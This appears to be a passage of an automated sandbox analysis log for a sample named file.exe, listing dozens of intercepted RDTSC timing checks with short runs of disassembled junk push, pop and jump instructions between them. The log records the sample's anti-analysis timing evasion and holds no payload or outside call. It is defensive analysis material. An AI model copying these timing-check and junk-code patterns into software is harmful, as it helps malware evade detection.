Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233F1 second address: 8233F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233F5 second address: 8233F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8236AE second address: 8236B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4BB4 second address: 7B4BD3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE4F8E788A1h 0x00000008 jmp 00007FE4F8E78895h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831091 second address: 8310DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007FE4F91A0DF3h 0x0000000b pop esi 0x0000000c jmp 00007FE4F91A0DEBh 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007FE4F91A0DEEh 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jmp 00007FE4F91A0DEEh 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8310DD second address: 83110A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E78896h 0x00000009 jmp 00007FE4F8E7888Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83110A second address: 83110E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83110E second address: 831112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83006B second address: 830082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jc 00007FE4F91A0DE6h 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830082 second address: 830089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830501 second address: 83051E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE4F91A0DF2h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83051E second address: 830529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830529 second address: 830531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830531 second address: 830535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83691F second address: 836951 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FE4F91A0DE8h 0x0000000e jmp 00007FE4F91A0DEFh 0x00000013 popad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE4F91A0DEFh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835407 second address: 83540B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83540B second address: 835414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835414 second address: 83541F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE4F8E78886h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83541F second address: 835436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE4F91A0DE6h 0x0000000a jmp 00007FE4F91A0DEDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835436 second address: 835440 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835440 second address: 83544A instructions: 0x00000000 rdtsc 0x00000002 js 00007FE4F91A0DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835856 second address: 83585A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835C1B second address: 835C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835C1F second address: 835C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE4F8E78898h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835F02 second address: 835F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835F08 second address: 835F12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835F12 second address: 835F18 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83622C second address: 836231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836231 second address: 83623B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE4F91A0DECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83623B second address: 836254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 jnp 00007FE4F8E7888Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A1C6 second address: 83A1D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FE4F91A0DE6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A1D2 second address: 83A1D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A1D6 second address: 83A218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F91A0DF7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FE4F91A0DE8h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE4F91A0DEFh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 ja 00007FE4F91A0DE6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A218 second address: 83A224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FE4F8E78886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A224 second address: 83A248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE4F91A0DE6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE4F91A0DF2h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A3B6 second address: 83A3D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FE4F8E78886h 0x0000000b jnl 00007FE4F8E78886h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 jo 00007FE4F8E78892h 0x0000001a jnl 00007FE4F8E78886h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D052 second address: 83D05D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D05D second address: 83D063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D063 second address: 83D068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8419A1 second address: 8419A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844C15 second address: 844C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844C1B second address: 844C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FE4F8E78886h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F50 second address: 844F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE4F91A0DF2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007FE4F91A0DE6h 0x00000012 jmp 00007FE4F91A0DF4h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F88 second address: 844F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F8E second address: 844F92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F92 second address: 844F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F98 second address: 844FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE4F91A0DF7h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84ADDF second address: 84ADE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849767 second address: 84978E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e je 00007FE4F91A0DE6h 0x00000014 pop edx 0x00000015 push ebx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849BF1 second address: 849C19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E7888Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE4F8E78899h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849C19 second address: 849C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849F26 second address: 849F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AB76 second address: 84AB8F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4F91A0DECh 0x00000008 jo 00007FE4F91A0DE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007FE4F91A0DE6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AB8F second address: 84ABB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FE4F8E78888h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8503E4 second address: 8503E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8503E9 second address: 85040A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4F8E78888h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FE4F8E78886h 0x00000012 jmp 00007FE4F8E7888Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85040A second address: 85040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85040E second address: 850447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FE4F8E7888Eh 0x00000012 pushad 0x00000013 jmp 00007FE4F8E78895h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jno 00007FE4F8E78886h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850F32 second address: 850F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8514F3 second address: 85150D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E78894h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851AD2 second address: 851AE7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE4F91A0DEFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851E19 second address: 851E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8520E3 second address: 8520FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F91A0DF5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8520FC second address: 852106 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4F8E78886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852106 second address: 85210C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85210C second address: 852110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852110 second address: 852116 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AE2D second address: 85AE41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE4F8E7888Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AFBE second address: 85AFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AFC2 second address: 85AFD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78892h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AFD8 second address: 85AFF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE4F91A0DE6h 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007FE4F91A0DE6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE4F91A0DEDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AFF9 second address: 85AFFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B598 second address: 85B5A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B5A2 second address: 85B5A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B5A6 second address: 85B5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B70A second address: 85B722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E78894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B722 second address: 85B72C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4F91A0DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86370B second address: 86371B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FE4F8E78886h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86371B second address: 863735 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861D91 second address: 861D95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861D95 second address: 861D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86223B second address: 86223F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862500 second address: 862504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862504 second address: 862508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862508 second address: 86250E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86250E second address: 86251C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FE4F8E78888h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86251C second address: 862521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862521 second address: 862527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862DF3 second address: 862DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862DF7 second address: 862E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE4F8E78891h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86359D second address: 8635AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007FE4F91A0DE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8635AD second address: 8635CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007FE4F8E7889Ch 0x0000000d jnl 00007FE4F8E7888Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86133E second address: 861346 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865F79 second address: 865FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E78898h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE4F8E7888Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865FA5 second address: 865FAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865D7C second address: 865D95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E7888Fh 0x00000007 ja 00007FE4F8E78886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865D95 second address: 865D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE4F91A0DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865D9F second address: 865DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865DA3 second address: 865DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F91A0DEEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE4F91A0DF1h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jnl 00007FE4F91A0DE6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865DD4 second address: 865DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007FE4F8E78886h 0x0000000f rdtsc
